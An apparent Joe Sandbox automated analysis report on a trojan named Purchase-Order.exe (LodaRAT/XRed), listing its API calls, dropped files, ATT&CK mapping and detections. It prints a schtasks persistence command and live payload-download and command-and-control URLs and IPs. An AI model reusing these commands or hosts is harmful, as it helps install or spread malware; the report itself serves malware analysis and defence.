Source: OJTLMJ.exe, 0000000A.00000003.1835753013.000000000108B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: OJTLMJ.exe, 00000011.00000003.2078505010.0000000001545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\p
Source: Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D9703C BlockInput,

8_2_00D9703C

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D4374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

8_2_00D4374E

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D746D0 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

8_2_00D746D0

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00DA20F6 LoadLibraryA,GetProcAddress,

8_2_00DA20F6

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D6A937 GetProcessHeap,

8_2_00D6A937

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D68E19 SetUnhandledExceptionFilter,		8_2_00D68E19
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D68E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,		8_2_00D68E3C

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D7BE95 LogonUserW,

8_2_00D7BE95

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

8_2_00D4374E

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D84B52 SendInput,keybd_event,

8_2_00D84B52

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D87DD5 mouse_event,

8_2_00D87DD5

Source: C:\Users\user\Desktop\Purchase-Order.exe	Process created: C:\Users\user\Desktop\._cache_Purchase-Order.exe "C:\Users\user\Desktop\._cache_Purchase-Order.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D7B398 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

8_2_00D7B398

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D7BE31 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

8_2_00D7BE31

Source: OJTLMJ.exe	Binary or memory string: Shell_TrayWnd
Source: Purchase-Order.exe, 00000000.00000003.1701864856.0000000005F33000.00000004.00000020.00020000.00000000.sdmp, Purchase-Order.exe, 00000000.00000000.1695510360.0000000000566000.00000002.00000001.01000000.00000003.sdmp, ._cache_Purchase-Order.exe, 00000001.00000003.1704922851.000000000442A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D67254 cpuid

8_2_00D67254

Source: C:\Users\user\Desktop\Purchase-Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D640DA GetSystemTimeAsFileTime,__aulldiv,

8_2_00D640DA

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00DBC146 GetUserNameW,

8_2_00DBC146

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D72C3C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

8_2_00D72C3C

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D5E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

8_2_00D5E47B

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct

Stealing of Sensitive Information

Yara detected LodaRAT

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected XRed

Source: Yara match	File source: Purchase-Order.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Purchase-Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase-Order.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 6908, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX600B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: OJTLMJ.exe, 00000012.00000002.2484493881.0000000000DEE000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 10, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytea
Source: OJTLMJ.exe, 00000012.00000002.2489810904.0000000004C68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81
Source: OJTLMJ.exe	Binary or memory string: WIN_XP
Source: OJTLMJ.exe, 00000008.00000003.1761524504.00000000045F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81>
Source: OJTLMJ.exe, 00000011.00000003.2080888393.00000000045E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81^
Source: OJTLMJ.exe	Binary or memory string: WIN_XPe
Source: OJTLMJ.exe	Binary or memory string: WIN_VISTA
Source: OJTLMJ.exe, 00000010.00000002.2021902859.00000000044FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81N
Source: OJTLMJ.exe	Binary or memory string: WIN_7
Source: OJTLMJ.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected LodaRAT

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected XRed

Source: Yara match	File source: Purchase-Order.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Purchase-Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase-Order.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 6908, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX600B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D991DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		8_2_00D991DC
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D996E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		8_2_00D996E2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	421 Scripting	2 Valid Accounts	11 Windows Management Instrumentation	421 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	21 Registry Run Keys / Startup Folder	12 Process Injection	112 Masquerading	LSA Secrets	38 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	21 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	DCSync	141 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	21 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	3 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Purchase-Order.exe	86%	Virustotal		Browse
Purchase-Order.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
Purchase-Order.exe	100%	Avira	TR/Dldr.Agent.SH
Purchase-Order.exe	100%	Avira	HEUR/AGEN.1353217
Purchase-Order.exe	100%	Avira	W2000M/Dldr.Agent.17651006
Purchase-Order.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\._cache_Purchase-Order.exe	100%	Avira	HEUR/AGEN.1353217
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCX600B.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCX600B.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	100%	Avira	HEUR/AGEN.1353217
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	HEUR/AGEN.1353217
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Temp\LMDNDG.vbs	100%	Avira	VBS/Runner.VPJI
C:\Users\user\Desktop\._cache_Purchase-Order.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCX600B.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCX600B.tmp	92%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	58%	ReversingLabs	Win32.Trojan.Lisk
C:\Users\user\Desktop\._cache_Purchase-Order.exe	58%	ReversingLabs	Win32.Trojan.Lisk
C:\Users\user\Documents\~$cache1	92%	ReversingLabs	Win32.Worm.Zorex

Source	Detection	Scanner	Label
https://drive.userconten	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarX	100%	Avira URL Cloud	malware
https://drive.usercontent.goog	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl4	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	142.250.186.142	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.186.97	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id	Synaptics.exe, 00000002.00000002.3069143286.000000003AFA0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rarX	Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978h	Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVG	Synaptics.exe, 00000002.00000002.3076603001.000000003B2BD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini	Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlH	Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.	Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.userconten	Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id=0Bx	Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dl4	Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.usercontent.goog	Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000002.00000002.3097715360.0000000042BCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116678595.000000004D7FE000.00000004.00000010.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?D	Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/	Synaptics.exe, 00000002.00000002.2953651739.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3075003681.000000003B278000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/a	Synaptics.exe, 00000002.00000002.3076603001.000000003B2BD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3075003681.000000003B278000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.142	docs.google.com	United States	15169	GOOGLEUS	false
172.111.138.100	unknown	United States	3223	VOXILITYGB	true
142.250.186.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582343
Start date and time:	2024-12-30 11:34:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Purchase-Order.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@22/158@23/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 40 Number of non-executed functions: 316
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.113.194.132, 184.28.90.27, 52.182.143.214, 40.126.31.69, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, weu-azsc-config.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, onedscolprdcus19.centralus.cloudapp.azure.com, azureedge-t-prod.trafficmanager.net, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:35:53	API Interceptor	1107x Sleep call for process: Synaptics.exe modified
05:37:50	API Interceptor	13x Sleep call for process: splwow64.exe modified
10:35:48	Task Scheduler	Run new task: LMDNDG.exe path: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
10:35:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LMDNDG "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
10:35:58	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
10:36:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LMDNDG "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
10:36:15	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LMDNDG.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.111.138.100	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse
	sdlvrr.msi	Get hash	malicious	LodaRAT	Browse
	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse
	Machine-PO.exe	Get hash	malicious	XRed	Browse
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse
	mmi8nLybam.exe	Get hash	malicious	LodaRAT	Browse
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse
69.42.215.252	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	docx.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	hoaiuy.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	222.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Machine-PO.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	sdlvrr.msi	Get hash	malicious	LodaRAT	Browse	13.107.246.45
	docx.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	hoaiuy.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	222.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	Machine-PO.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	universityform.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	universityform.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	Get hash	malicious	Unknown	Browse	13.107.246.45
